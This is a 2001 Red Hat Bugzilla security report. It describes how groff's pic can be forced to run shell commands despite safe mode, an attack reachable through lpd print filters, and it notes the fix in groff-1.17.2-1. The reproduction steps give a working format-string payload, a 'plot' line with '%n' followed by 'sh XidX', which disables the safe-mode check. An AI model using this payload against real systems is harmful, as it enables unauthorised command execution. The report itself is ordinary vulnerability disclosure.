Bug 50494 - pic can be forced to run commands in safe mode
Summary: pic can be forced to run commands in safe mode
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: groff   
(Show other bugs)
Version: 7.0
Hardware: i386
OS: Linux
Target Milestone: ---
Assignee: Florian La Roche
QA Contact: Aaron Brown
URL: http://www.securityfocus.com/bid/3103
Keywords: Security
Depends On:
TreeView+ depends on / blocked
Reported: 2001-07-31 17:41 UTC by Need Real Name
Modified: 2007-04-18 16:35 UTC (History)
0 users

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2001-08-09 17:58:33 UTC
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

Description Need Real Name 2001-07-31 17:41:41 UTC
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010701

Description of problem:
pic can be forced to execute commands (sh X..X) when running in safe mode
(-S). Can be exploited trough lpd (groff/pic is run in printfilters) and
arbitrary commands with id of lpd can be run.

pic command 'plot -1.99892428527521803794 "%n"' will overwrite memory 
where safe mode variable is stored and then it alows to use "sh" command.

How reproducible:

Steps to Reproduce:
1. pic -S 
2. .PS
3. plot -1.99892428527521803794 "%n"
4. sh XidX
5. .PE


Actual Results:  uid=501(bendik) gid=501(bendik) ....

Expected Results:  pic:<standard input>:2: unsafe to run command `id'

Additional info:

Bug has been discovered by Zenith Parsec <zen-parse@gmx.net>.
Exploit with patch has been posted to bugtraq (see URL).

I tested groff 1.16 and 1.16.1, both are vulnerable.

Comment 1 Need Real Name 2001-08-09 17:58:29 UTC
When you want to fix this????

--rado b

Comment 2 Florian La Roche 2001-08-14 13:25:06 UTC
is fixed with current rpms: groff-1.17.2-1


Florian La Roche

Note You need to log in before you can comment on or make changes to this bug.